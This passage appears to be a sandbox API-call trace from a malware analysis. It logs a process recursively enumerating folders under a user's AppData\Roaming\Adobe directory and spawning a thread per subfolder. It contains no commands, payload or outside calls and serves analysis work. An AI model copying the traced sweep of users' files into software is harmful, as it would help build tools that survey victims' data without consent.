_Dest=0x1ced32b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\" [0157.694] wcscat (in: _Dest=0x1ced32b0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*" [0157.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce589f0 [0157.695] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd860d0 [0160.073] wcscmp (_String1=".", _String2=".") returned 0 [0160.073] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.073] wcscmp (_String1="..", _String2=".") returned 1 [0160.073] wcscmp (_String1="..", _String2="..") returned 0 [0160.073] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0160.073] FindClose (in: hFindFile=0x1cd860d0 | out: hFindFile=0x1cd860d0) returned 1 [0160.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce589f0) returned 1 [0160.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced32b0) returned 1 [0160.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a58e0) returned 1 Thread: id = 2686 os_tid = 0x2260 [0157.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3340 [0157.696] wcscpy (in: _Dest=0x1ced3340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0157.696] wcscat (in: _Dest=0x1ced3340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\" [0157.696] wcscat (in: _Dest=0x1ced3340, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0157.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce567d0 [0157.696] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8585b0 [0159.456] wcscmp (_String1=".", _String2=".") returned 0 [0159.456] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.456] wcscmp (_String1="..", _String2=".") returned 1 [0159.456] wcscmp (_String1="..", _String2="..") returned 0 [0159.456] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0159.456] wcscmp (_String1="AssetCache", _String2=".") returned 1 [0159.456] wcscmp (_String1="AssetCache", _String2="..") returned 1 [0159.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205deb0 [0159.457] wcscpy (in: _Dest=0x4205deb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0159.457] wcscat (in: _Dest=0x4205deb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\" [0159.457] wcscat (in: _Dest=0x4205deb0, _Source="AssetCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0159.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205deb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e4 [0159.467] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 0 [0159.467] FindClose (in: hFindFile=0x1b8585b0 | out: hFindFile=0x1b8585b0) returned 1 [0159.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0159.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3340) returned 1 [0159.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5fa0) returned 1 Thread: id = 2687 os_tid = 0x225c [0157.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced33d0 [0157.697] wcscpy (in: _Dest=0x1ced33d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" [0157.697] wcscat (in: _Dest=0x1ced33d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\" [0157.698] wcscat (in: _Dest=0x1ced33d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0157.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57400 [0157.698] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd860d0 [0160.074] wcscmp (_String1=".", _String2=".") returned 0 [0160.074] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.074] wcscmp (_String1="..", _String2=".") returned 1 [0160.074] wcscmp (_String1="..", _String2="..") returned 0 [0160.074] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0160.074] wcscmp (_String1="10.0", _String2=".") returned 1 [0160.074] wcscmp (_String1="10.0", _String2="..") returned 1 [0160.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a58e0 [0160.075] wcscpy (in: _Dest=0x202a58e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" [0160.075] wcscat (in: _Dest=0x202a58e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\" [0160.075] wcscat (in: _Dest=0x202a58e0, _Source="10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0160.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a4a40 [0160.075] wcscpy (in: _Dest=0x202a4a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0160.075] wcscat (in: _Dest=0x202a4a40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0160.075] wcscat (in: _Dest=0x202a4a40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*" [0160.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce589f0 [0160.075] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86910 [0160.076] wcscmp (_String1=".", _String2=".") returned 0 [0160.076] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.076] wcscmp (_String1="..", _String2=".") returned 1 [0160.076] wcscmp (_String1="..", _String2="..") returned 0 [0160.076] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0160.076] wcscmp (_String1="Collab", _String2=".") returned 1 [0160.076] wcscmp (_String1="Collab", _String2="..") returned 1 [0160.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4205c6f0 [0160.076] wcscpy (in: _Dest=0x4205c6f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0160.076] wcscat (in: _Dest=0x4205c6f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0160.076] wcscat (in: _Dest=0x4205c6f0, _Source="Collab" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" [0160.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb5110 [0160.076] wcscpy (in: _Dest=0x1cdb5110, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" [0160.076] wcscat (in: _Dest=0x1cdb5110, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\" [0160.076] wcscat (in: _Dest=0x1cdb5110, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*" [0160.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0160.077] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd87030 [0161.045] wcscmp (_String1=".", _String2=".") returned 0 [0161.045] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.045] wcscmp (_String1="..", _String2=".") returned 1 [0161.045] wcscmp (_String1="..", _String2="..") returned 0 [0161.045] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0161.045] FindClose (in: hFindFile=0x1cd87030 | out: hFindFile=0x1cd87030) returned 1 [0161.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0161.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5110) returned 1 [0161.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 [0161.046] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0161.046] wcscmp (_String1="Forms", _String2=".") returned 1 [0161.046] wcscmp (_String1="Forms", _String2="..") returned 1 [0161.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c6f0 [0161.047] wcscpy (in: _Dest=0x4205c6f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0161.047] wcscat (in: _Dest=0x4205c6f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0161.047] wcscat (in: _Dest=0x4205c6f0, _Source="Forms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" [0161.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1cdb5110 [0161.047] wcscpy (in: _Dest=0x1cdb5110, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" [0161.047] wcscat (in: _Dest=0x1cdb5110, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\" [0161.047] wcscat (in: _Dest=0x1cdb5110, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*" [0161.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0161.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd87030 [0161.048] wcscmp (_String1=".", _String2=".") returned 0 [0161.048] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.048] wcscmp (_String1="..", _String2=".") returned 1 [0161.048] wcscmp (_String1="..", _String2="..") returned 0 [0161.048] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0161.048] FindClose (in: hFindFile=0x1cd87030 | out: hFindFile=0x1cd87030) returned 1 [0161.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0161.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb5110) returned 1 [0161.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 [0161.049] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1 [0161.049] wcscmp (_String1="JavaScripts", _String2=".") returned 1 [0161.049] wcscmp (_String1="JavaScripts", _String2="..") returned 1 [0161.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65810 [0161.049] wcscpy (in: _Dest=0x1cd65810, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: 